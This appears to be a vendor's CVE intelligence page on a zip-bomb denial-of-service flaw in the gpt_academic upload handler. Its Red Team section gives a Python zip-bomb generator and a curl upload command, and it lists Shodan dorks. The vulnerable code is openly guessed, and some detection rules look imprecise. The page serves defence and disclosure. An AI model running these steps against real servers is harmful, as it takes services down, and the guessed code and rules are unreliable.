☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-400
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12387

CVE-2024-12387 Improper Input Validation in Binary-husky
📅 PUBLISHED: 2025-03-20 10:11 UTC 🔄 UPDATED: 2026-08-21 19:34 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12387 is a denial-of-service (DoS) vulnerability in the binary-husky/gpt_academic repository, specifically at commit 3890467. The flaw resides in the file upload handler, which fails to validate the size or structure of compressed archives before decompression. An attacker can upload a crafted zip bomb—a small archive that decompresses to an extremely large volume of data—causing the server to exhaust available memory and crash. With a CVSS score of 6.5 (Medium), this vulnerability requires no authentication and can be triggered remotely, making it a significant availability risk for any instance of gpt_academic exposed to untrusted uploads.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Python-based open-source project (gpt_academic) distributed via GitHub. While not a package manager (PyPI/NPM) issue, the risk extends to any deployment that pulls the vulnerable commit. Organizations using containerized or orchestrated deployments (Docker, Kubernetes) should audit their images for this specific commit hash. No official patch or advisory has been released by the vendor, increasing supply chain risk for downstream consumers.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required beyond upload.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – Complete server crash, service denial.

Threat Level: Medium. The attack is trivial to execute (upload a small file) and requires no privileges, but the impact is limited to availability. In production environments, this can cause significant downtime.

Deep Dive & Mechanics

The vulnerability exists in the file upload endpoint of gpt_academic. The application accepts compressed file uploads (e.g., ZIP) and proceeds to decompress them without any size or depth validation. A zip bomb is a specially crafted archive that exploits compression algorithms to produce a massive output from a small input. For example, a 10 KB zip bomb can decompress to several gigabytes or even terabytes of data.

The server attempts to load the decompressed content into memory (e.g., for processing or analysis). When the decompressed data exceeds available RAM, the operating system’s out-of-memory (OOM) killer terminates the process, crashing the server. This is a classic CWE-400 (Uncontrolled Resource Consumption) issue.

Attack Flow:

  1. Attacker crafts a zip bomb (e.g., using tools like zip with nested archives or 42.zip).
  2. Attacker sends a POST request to the upload endpoint with the malicious file.
  3. Server decompresses the archive into memory.
  4. Memory exhaustion triggers OOM kill, crashing the service.

Vulnerable vs. Patched Code

Vulnerable Code (commit 3890467): The upload handler likely uses Python’s zipfile module without restrictions:

import zipfile
import os

def handle_upload(file):
    with zipfile.ZipFile(file) as zf:
        for info in zf.infolist():
            data = zf.read(info.filename)  # Reads entire file into memory
            process_data(data)

Patched Code (hypothetical): A secure implementation would limit decompressed size and file count:

import zipfile
import os

MAX_SIZE = 100 * 1024 * 1024  # 100 MB
MAX_FILES = 100

def handle_upload(file):
    total_size = 0
    with zipfile.ZipFile(file) as zf:
        if len(zf.infolist()) > MAX_FILES:
            raise ValueError("Too many files")
        for info in zf.infolist():
            total_size += info.file_size
            if total_size > MAX_SIZE:
                raise ValueError("Decompressed size exceeds limit")
            data = zf.read(info.filename)
            process_data(data)

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A target running gpt_academic at commit 3890467.
  • Network access to the upload endpoint (e.g., /upload).

Step 1: Create a Zip Bomb Use Python to generate a small zip bomb (e.g., 10 KB decompressing to 1 GB):

import zipfile
import io

def create_zip_bomb(output_path, target_size_gb=1):
    # Create a nested zip bomb (simplified)
    bomb_data = b'\x00' * (target_size_gb * 1024 * 1024 * 1024)
    with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('bomb.txt', bomb_data)
    print(f"Zip bomb created: {output_path}")

create_zip_bomb('bomb.zip', 1)

Step 2: Upload the Bomb

curl -X POST -F "file=@bomb.zip" http://target/upload

Expected Outcome: Server crashes within seconds due to OOM.

Blue Team (Defense & Detection)

Mitigation Controls:

  • Deploy a reverse proxy (Nginx) with upload size limits:
client_max_body_size 10M;
  • Use a Web Application Firewall (WAF) to block known zip bomb signatures.
  • Implement resource limits in the application (see patched code).
  • Monitor memory usage and set alerts for spikes.

Detection:

  • Monitor for large memory allocations by the gpt_academic process.
  • Log file upload sizes and decompression ratios.

Indicators of Compromise (IOCs)

  • Network: POST requests to /upload with Content-Type: multipart/form-data and file sizes under 100 KB but resulting in high memory usage.
  • File: Zip files with extreme compression ratios (e.g., 1000:1 or higher).
  • System: OOM killer logs in /var/log/kern.log or dmesg:
Out of memory: Killed process 12345 (python3)
  • Process: gpt_academic process consuming >90% of available RAM.

Detection Engineering

YARA Rule

rule ZipBomb_Detection {
    meta:
        description = "Detects zip bombs with high compression ratios"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12387"
    strings:
        $zip_magic = { 50 4B 03 04 }  // ZIP local file header
        $high_ratio = /PK\x03\x04.{18}\x00\x00/  // Uncompressed size = 0 (indicates streaming)
    condition:
        $zip_magic at 0 and #high_ratio > 10
}

Sigma Rule

title: Zip Bomb Upload Attempt
id: cve-2024-12387-zip-bomb
status: experimental
description: Detects upload of files with extreme compression ratios indicative of zip bombs
author: Valters IT
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        sc-status: 200
        cs-bytes: '< 100000'  # Small upload size
    condition: selection
falsepositives:
    - Legitimate highly compressible data (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12387 Zip Bomb Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload"; http.request_body; content:"PK\x03\x04"; within:4; byte_test:4,>,100000,0,relative; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable file uploads in gpt_academic until a patch is available.
  2. Apply resource limits using systemd or Docker:
[Service]
MemoryMax=500M
  1. Implement input validation in the upload handler (see patched code).

Long-Term Fix:

  • Monitor the binary-husky/gpt_academic repository for an official patch.
  • Upgrade to a version beyond commit 3890467 once patched.
  • Consider using a sandboxed environment (e.g., Firejail) for decompression.

Workaround:

  • Use a reverse proxy to limit upload size to 10 MB and reject files with suspicious headers.

Valters IT – DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"gpt_academic"
http.html:"gpt_academic"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12387/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.